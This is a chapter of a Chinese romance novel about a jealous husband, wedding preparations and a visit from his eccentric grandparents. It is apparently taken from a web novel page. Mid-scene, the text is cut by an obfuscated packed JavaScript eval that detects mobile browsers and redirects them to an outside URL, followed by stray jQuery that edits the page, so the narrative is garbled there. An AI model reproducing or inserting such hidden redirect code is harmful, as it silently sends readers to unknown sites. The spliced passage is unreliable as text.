宋星燃攥紧了手机。
他原本只是想让经理留意温木对婚纱的真实想法，怕她迁就，怕她勉强，怕她为了顾及两家的面子而委屈自己。
可他没想到，会得到这样的消息。
“男的女的？”他声音压得极低，指节因用力而泛白。
电话那头，经理谨慎地回答：“是一位年轻的女设计师，第一次与我们合作。”
“资料发过来。”
“好的宋先生。”
电话挂断，不到半分钟，一封邮件弹出。
宋星燃点开，目光如刀锋般扫过屏幕：明樱，22岁，中英混血，毕业于伦敦中央圣马丁学院……
他的视线在“家庭成员“那一栏骤然停住。
明杨，25岁，苏黎世大学天体物理学在读。
关系：哥哥。
男人的眼神沉下。
不需要更多证据，他的直觉已经叫嚣着断定——这就是温木说的那个人。
而且，他们之间一定发生过什么。
胸口突然涌上一股陌生的情绪，像是有人在他心脏上浇了一桶滚烫的岩浆，灼烧感顺着血管蔓延至四肢百骸。
好奇、愤怒、嫉妒。
他迫切地想知道那个明杨是谁，想知道他们之间发生过什么，想知道他的老婆盯着明樱看时，脑海里浮现的是怎样的画面。
“阿燃，你在听吗？”
宋明深的声音将他拉回现实。宋星燃抬头，发现会议室里所有人都看着他。
他收敛神色，嗓音平稳：“抱歉，我在听。”
宋明深点点头，继续对几位股东说道：“阿燃初出茅庐，什么都不懂，以后还要各位多提点他。”
股东们笑着应和，气氛重新热络起来。
宋星燃坐在原位，神色如常，可目光却不由自主地转向落地窗外。
宁川的天际线在暮色中铺展开来，玻璃幕墙映出他冷峻的侧脸。那双总是盛满张扬笑意的眼睛，此刻暗沉如夜。
*
暮色四合，前院的玫瑰在寒风中轻轻摇曳。
温木坐在花园的藤椅上，圆形矮几上放着一杯早已凉透的茶。她盯着茶杯边缘凝结的水珠出神，指尖无意识地摩挲着杯壁，金丝眼镜后的眸子雾蒙蒙的，像是蒙了一层霜。
一阵冷风掠过，她打了个寒战，余光忽然瞥见一抹修长的黑影。
宋星燃站在不远处，一袭黑色大衣衬得肩线凌厉，黑发被风吹得微乱。他不知在那里站了多久，目光沉沉地望着她，眉宇间凝着一层化不开的郁色。
温木怔了怔。
他回来了，怎么不回家？
他一直在看她吗？
男人察觉到她的视线，大步走来，不由分说地将她打横抱起。温木下意识攀住他的肩膀，鼻尖撞上他微凉的衣领，嗅到一丝淡淡的雪松气息，混着未散的寒意。
他的表情不太好看，下颌线绷得紧紧的，眸色比夜色还沉。
温木察觉到他的低气压，便没出声，任由他抱着自己进屋。
“不在家里跑出去干什么？”宋星燃将她放在沙发上，声音压得很低，“冻生病了怎么办？”
“就待了一会。”温木下意识回答，随即意识到，如果他看了她很久，就会知道她在撒谎。
宋星燃没拆穿她，只是从背后环住她的腰，下巴搁在她肩头：“今天婚纱选得怎么样？”
“定下来了。”
“什么样的？”
温木简单描述了一下设计，星空元素，深蓝色裙摆，银线刺绣。
宋星燃安静地听着，呼吸拂过她的耳畔，温热又潮湿。
“设计师好相处吗？”他突然问。
怀里的人明显僵了一下，很快又放松：“挺好相处的，是个小妹妹。”
“你好像挺喜欢她。”
温木点头，又摇头：“还好吧。妹妹很可爱。让我……”
她的声音低下去，“让我想到了年轻的时候。”
年轻的时候。
她是想到了年轻时的自己，还是年轻时的她和某个人？
胸口那股无名火又烧了起来，他一把将人搂过来，狠狠吻住她的唇。
温木被他亲得措手不及，眼镜歪到一边，含糊不清地抗议：“眼镜，挡到了……”
男人停下来，指尖扶正她的镜框：“怎么不做近视手术？不是才三百度吗？”
温木垂眸，语气平静：“习惯了。”
他盯着她看了几秒，突然转移话题：“婚礼时间定下来了，明年2月22日。”
“嗯。”她应了一声，又想起什么，“不会耽误你比赛吗？”
宋星燃摇头：“不会，我都安排好了。”
温木微微一笑：“小宋少爷也会安排事情了？”
“我不小。”
他握住她的手，目光灼灼。
“温木，我很清楚自己要什么。”
他的眼神太过具有侵略性，温木微微怔住。今天的宋星燃怪怪的，像是憋着一股劲无处发泄。
她猜测他或许在公司挨了批评。虽然总听说他从小被鞭策长大，但她还没亲眼见过。
她竟有点想看他挨骂的样子。
“笑什么？”宋星燃眯起眼。
“我笑了吗？”
“你笑了。”
“那可能……”她轻声道，“我想到高兴的事。”
男人没说话，只是静静地看着她。
良久。
“下个月，我爷爷奶奶回来。”
温木有些惊讶：“我们要去看他们吗？”
“准确来说，是他们来看你。”宋星燃捏了捏她的手指，“之前我们领证，他们在澳洲没回来。这次办婚礼，肯定要见面的。”
“其实不用麻烦爷爷奶奶。”温木斟酌着措辞，“婚礼简单走个流程就好。”
“温木。”
他沉声喊她。
“你是不是觉得这场婚礼可有可无？”
他的语气有些尖锐，温木一时不知如何回答。
她不是不重视，只是习惯性地怕给别人添麻烦，可宋星燃显然误解了她的意思。
接下来的对话像一场无声的拉锯。
他步步紧逼，想从她那里得到一点重视这场婚礼的证明；而她不明就里，只能反复强调“不用太麻烦”。
最终，宋星燃一把将她抱起来，上楼，放到床上，自己转身进了浴室。
水声哗哗作响，男人站在花洒下，任由热水冲刷身体。
一个女人不在意婚礼，不在意家庭的认可，只有一个原因——她也不在乎要跟她结婚的那个人。
这个念头像毒蛇一样缠住他的心脏。
他想起温木盯着明樱出神的样子，想起她说“年轻的时候”时恍惚的眼神，想起她宁可冻着也不愿回屋的疏离。
热水烫得皮肤发红，他却感觉不到疼。
宋星燃走出浴室，温木还没睡，正靠在床头看书。他掀开被子躺进去，不由分说地将人捞进怀里。
“汽油还没接回来。”温木突然说。
宋星燃心头一刺。
他以为洗了这么久的澡，出来后会听到她问“怎么了”“不开心吗”。就像从前那样，她偶尔也会哄他，逗他，用那双清冷的眼睛含着笑看他。
但她没有。
她不是不会察言观色的人，只是对他没那么上心罢了。
他不禁自嘲，是不是在她心里，狗都比他重要？
宋星燃低头看她。温木的眼睛很漂亮，明明该是冷的，眼尾却微微上挑，带着不自知的勾人意味。
他不明白她为什么总用眼镜挡着这双眼睛——就像她总用冷静的外壳挡着自己的心。
“怎么不说话？”温木问。
“明天我去接。”他闷声道，“睡吧。”
说完，整个人缩起来，脑袋往她怀里钻。
温木怔了怔。
那么高大一个人，此刻却蜷缩成小小一团，像只受伤的野兽寻求安慰。
她想去摸他的头发，手抬起，又放下。
真奇怪，明明在情事中，她能大胆地抚摸他的黑发，用挑逗的话语哄他。
可现在，只是单纯地睡觉，她却不敢这样做了。
*
温木没想到筹备婚礼会这么麻烦。
实验室的工作一直要持续到一月底，学校放寒假前她根本抽不开身。于是婚礼的所有细节：场地确认、宾客名单、流程安排、礼服修改，全都落在了宋星燃肩上。
他倒是适应得很好。
每天雷打不动的行程：六点起床晨跑，遛汽油，回来做早饭，送她上班，自己去健身房，下午准时出现在学校门口接她，然后一起去父母家吃饭。
单周回温家，双周回宋家，规律得像天文台的自转仪。
晚饭后回到星河湾，她窝在书房看文献，他就在客厅打游戏。
十点半准时洗澡，上床
——纯字面意思的睡觉。
温木盯着天花板，总感觉，宋星燃最近不太对劲。
具体来说，就是不太像他。
以前的宋星燃是什么样？
张扬、热烈、像一团永不熄灭的火。
现在的宋星燃依然会笑，会闹，会在她看文献时从背后偷袭吻她的耳垂，但总有什么东西不一样了。
像是有人给太阳罩了层磨砂玻璃，光亮还在，温度却散了。
最明显的变化是，他们做的频率直线下降。
一开始，温木是高兴的。
腰不受罪了，睡眠质量显著提升，黑眼圈都淡了不少。她以为宋星燃终于进入了所谓的“倦怠期”，毕竟再旺盛的精力也有耗尽的时候。
但两个月过去，她发现不是这样。
每晚贴着睡时，她腰后那个存在感极强的热度骗不了人；清晨洗漱时，垃圾桶里揉成团的纸巾也骗不了人。
明明想要，却不肯碰她。
温木想不通。
宋星燃以前是最凶狠的狼，现在怎么转性成吃草的兔子了？
她一度荒谬地想，是不是如她之前猜测的那样，找到真爱了。
虽然这个猜测扯得她自己都想笑。
宋星燃不缺钱，家庭幸福，事业成功，唯一可能失意的，大概就是爱情？
可如果他真的对她只是一时激情，为什么筹备婚礼又这么认真？
温木看着书桌上摊开的婚礼企划书，男人的字迹工整而干净：
【极光观测最佳时段：2月22日21:00-23:00】
【旗袍腰围再确认（她又瘦了）】
【仪式背景音乐清单（附天文主题曲推荐）】
甚至还有手绘的星空座位图，每个宾客的名字旁边都标注了星座符号。
她翻到最后一页，发现角落里画了个小小的土星，旁边写着：【戒指藏在冰雕行星环里，要提醒她戴手套】
心口莫名涌上一股闷闷的痛感。
这样的事太多了。
他记得她所有研究员朋友的饮食习惯，特意嘱咐酒店准备无酒精香槟；他知道她不喜欢被围观，把仪式流程压缩到最短；他甚至连婚礼当天的月相都考虑到了，选在峨眉月出现的日子，说这样星光会更亮。
他对婚礼的上心程度，是她的百倍都不止。
浴室门打开，男人擦着头发走出来。
温木迅速合上企划书，假装在整理文献。
“看完了？”他问。
“嗯。”
“有要改的吗？”
“没有，很好。”
宋星燃点点头，掀开被子躺进来，习惯性地伸手环住她的腰，却克制地停在安全距离。温木能闻到他身上沐浴露的味道，雪松混着淡淡的薄荷，清爽又冷冽。
她突然很想转身抱住他，想问清楚他到底怎么了，可最终只是轻声说了句：“晚安。”
男人的下巴蹭了蹭她的发顶：“晚安。”
黑暗中，温木睁开眼。
算了，顺其自然吧。
*
2024.1.25.宁川，晴。
宁大正式放寒假了。
实验室里，徐樾声正小心翼翼地打包他的星轨摄影设备，吴桐在电脑前核对最后一批数据，孟孟则哼着歌擦拭望远镜镜片。于茉靠在窗边，一边嗑瓜子一边看手机。
“放假去哪儿啊？”吴桐抬头问，“我准备去哈尔滨看冰雕。”
“回家呗，”徐樾声推了推眼镜，“我妈说再不见我就要报警了。
孟孟眼睛亮起来：“我要去云南！听说那里有个新建的天文台——”
于茉拍拍手：“安静安静！温老师有话要说。”
所有人齐刷刷看向窗边的温木。
她从包里取出三份烫金请柬，深蓝色封面压着星轨纹路，打开时内页会弹出立体的木星环，戒指图案在灯光下泛着细碎的银光。
宋星燃&温木
诚邀您见证我们的星辰时刻
2月22日挪威特罗姆瑟
极光与星轨为证
徐樾声的眼镜滑到鼻尖，吴桐张着嘴，孟孟直接蹦了起来。
“傻站着干嘛呀？”于茉搂过温木的肩膀，“温老师食宿全包，机票报销，还不收你们红包。”
孟孟一把抱住请柬：“阿木姐，你真的要结婚了！”
“你这话可别到宋少爷跟前说，”于茉戳她脑门，“人家听了要跟你急的。”
“不是不是！”孟孟急得摆手，“我就是觉得，好像办了婚礼，才有一种阿木姐结婚了的实感。”
温木嘴角微微上扬：“我很希望，你们都能来。”
“肯定的阿木姐！”吴桐把请柬贴胸口，“天塌了我也去！”
徐樾声认真道：“红包还是要包的，我们的心意。”
“我先走了。”温木背上包。
于茉追到门口：“不吃饭啊？”
温木：“他爷爷奶奶回来了，今晚得回去吃。”
于茉瞪圆眼睛：“你是说宋老爷子？！”
温木：“嗯。”
“天啊！宋老爷子都多久不回国了？听说他跟夫人一直在周游世界，根本不管家里事的那种。他们居然回来了？！”
于茉突然郑重其事地抓住她的手，“宝贝，苟富贵，勿相忘。”
温木轻轻抽出手：“爱妃放心。”
走出实验楼，寒风扑面而来。温木裹紧大衣，一眼就看到了靠在柯尼塞格旁的男人。
他今天穿了件深灰色高领毛衣，外搭黑色皮衣，意外的成熟冷峻，像从时尚杂志里走出来的模特。
“等很久了？”温木走近问道。
宋星燃接过她的包，顺手替她拉开车门：
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358191|181620||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“刚到。”
男人手指在方向盘上轻敲，宽慰她：“别紧张。”
温木：“还好。”
“我爷爷奶奶他们，比较奇怪。”宋星燃斟酌着用词，“你到时候别被吓到。”
温木点点头。
那应该是性格古怪、不好相处的老人家了。
但她并不担心，从小到大，她最擅长的就是应付各种长辈：保持礼貌，少说话，多微笑。
“嗯，知道了。”她平静地说。
车子驶入宋家老宅的庭院时，天已经完全黑了。
欧式别墅在夜色中依然耀眼，客厅里灯火通明。
温木刚踏进门，就看到了沙发上坐着的两位老人。
宋砚之穿着一身笔挺的中山装，银发梳得一丝不苟，面容严肃，坐姿端正得像一尊雕塑；闻清梧则是一袭墨绿色旗袍，珍珠项链衬得她气质高雅，眼神锐利如鹰。
两人就像从民国老照片里走出来的名门望族，浑身散发着不怒自威的气场。
温木的背不自觉地挺直了。
沈岁热情地招呼她：“阿木，来，来见见爷爷奶奶。”
宋星燃牵着温木的手走过去。
温木恭敬地鞠了一躬：“爷爷好，奶奶好。”
两位老人没有立即回应，而是用审视的目光上下打量她。
温木感到一阵紧张，手指不自觉地蜷缩起来。她感觉到身边的男人轻轻捏了捏她的手，像是在无声地安慰。
“哎呀我滴妈呀！这就是我们家孙媳妇啊！”闻清梧一拍大腿，脸上的严肃瞬间瓦解，笑得眼睛眯成一条缝，“长得可真俊！”
宋砚之也一改方才的威严，乐呵呵地站起来，从口袋里掏出一个小盒子：“来来来，爷爷给你带了礼物！”
温木愣住了，一时反应不过来。
她抬头看向宋星燃，后者冲她努努嘴，一副“我早告诉过你”的表情。
闻清梧已经热情地拉着温木坐下：“听阿燃说你研究星星？奶奶年轻时候也喜欢看星星！”
“真的吗？”温木有些惊讶。
“可不是！”闻清梧兴奋地说，“我还在天文台工作过呢！那时候用望远镜看土星环，哎哟，美得不得了！”
宋砚之插嘴：“你奶奶为了看流星雨，大冬天拉着我在山顶冻了一整夜！”
“那你不是也看得挺开心？还说要给我摘星星呢！”
两位老人你一言我一语，完全颠覆了温木的第一印象。
她这才明白宋星燃说的“奇怪”是什么意思——不是古板严肃，而是活泼得不像这个年纪的人。
晚饭时，餐桌上其乐融融。
闻清梧对温木的天文学研究表现出极大的兴趣，不断提问；宋砚之则分享了他年轻时在世界各地探险的见闻。
温木惊讶地发现，两位老人的知识储备相当丰富，尤其是天文地理方面，完全不输专业人士。
“小木啊，”闻清梧给她夹了块鱼肉，“你们婚礼选在挪威看极光，这个主意太棒了！”
“是他安排的。”温木轻声说。
“这小子总算干了件靠谱的事！”宋砚之大笑着拍拍孙子的肩。
温木现在可算是明白了，为什么宋明深三个儿子，就宋星燃那么特立独行。
宋应濯和宋铭栎的稳重来自父母；而宋星燃的张扬莽撞，纯属隔代遗传。
饭后，闻清梧拉着温木去了露台。冬夜的星空格外清澈，远处山峦的轮廓若隐若现。
老太太亲手泡了壶桂花茶，香气氤氲在寒冷的空气中。
“你看，”闻清梧指着天空，“那是猎户座，多亮啊。”
温木点头：“参宿四和参宿七都很明显。”
“阿燃小时候，我经常带他看星星。”闻清梧的眼神变得柔和，“那孩子从小就坐不住，唯独看星星的时候能安静下来。”
温木想象着小小的宋星燃仰头观星的样子，心头莫名一软。
闻清梧看着面前静默谦和的孙媳妇，不免心生爱怜，默默从腕上褪下一个玉镯，递到温木面前。
“小木啊，这个给你。”
温木惊讶地看着眼前的玉镯，通体碧绿，晶莹剔透，在月光下泛着温润的光泽，内侧刻着精细的缠枝花纹，一看就是价值不菲的古董。
“这太贵重了，我不能收。”她连忙推辞。
闻清梧的表情变得认真：“小木，你听奶奶说完。”
老太太握住她的手，声音轻柔却坚定：“我没想过，我这几个孙子里，最先结婚的居然是阿燃。我更没想到，那个从小皮到大的浑小子，会被你治得服服帖帖的。”
治得服服帖帖？
在床上明明是他治她。
温木耳根发热，赶紧甩开这些不该有的念头。
“一开始知道是联姻的时候，我还担心会不会伤了两个人、两家情。”闻清梧继续道，“但现在看来，是我多虑了。”
“这是天定的缘分。”
温木怔住。
她没想到老人会说出这样一番话，更没想到会被如此直白地认可。
一种复杂的情绪在胸口蔓延开来。惊讶、感动，还有一丝说不清道不明的愧疚。
“奶奶。”她轻声开口，却不知该说什么。
“我能看出来，阿燃那孩子很喜欢你。”闻清梧慈爱地看着她，“我们一家人，都很喜欢你。这个镯子，是奶奶的心意，希望你能收下。”
温木纠结片刻，最终告诉自己，不能扫了老人家的兴。
她深吸一口气，点了点头：“谢谢奶奶。”
闻清梧高兴地将玉镯套进温木的手腕。碧绿的玉石衬得她肌肤如雪，煞是好看。
“真合适。”她满意地点头。
温木低头看着腕上的玉镯，感觉有些微妙。她既为这份认可感到开心，又隐隐有些愧疚。
闻清梧似乎误会了什么。她和宋星燃并不是恩爱的夫妻，至少，不是她想象中那样。
脚步声传来，宋星燃出现在露台门口：“奶奶，能让我老婆回家了吗？”
“哈哈哈，好好好！”闻清梧大笑，“你小子，一分钟都离不开老婆了！”
告别两位老人后，温木跟着宋星燃走向车库。
夜风微凉，她下意识地摸了摸腕上的玉镯，突然停下脚步。
“这个，”她犹豫着开口，“我没想要。”
说完就要去退。
男人一把按住她的手，眼神晦暗不明：“为什么不要？”
没有得到回应，他又固执地重复了一遍：“你不是我老婆吗？为什么不要？”
温木被他突如其来的反应惊到了：“太贵重了。”
“不贵重。”宋星燃的声音低沉而坚定，“给你的，什么都该是最好的。”
月光下，他的表情认真得近乎执拗，黑发被风吹得有些乱，眼睛里闪烁着温木读不懂的情绪。
“结婚那天，敬酒的时候，把这个戴上。”他突然别开视线，耳尖微微发红。
“我觉得，会和旗袍很配。”
他是在，害羞吗？
温木的眉眼弯了弯，下意识地向前一步，踮起脚尖，凑近宋星燃的耳边。
“那你帮我。”
“什么？”
“帮我戴镯子。”
她的唇擦过他耳垂。
“也帮我穿旗袍。”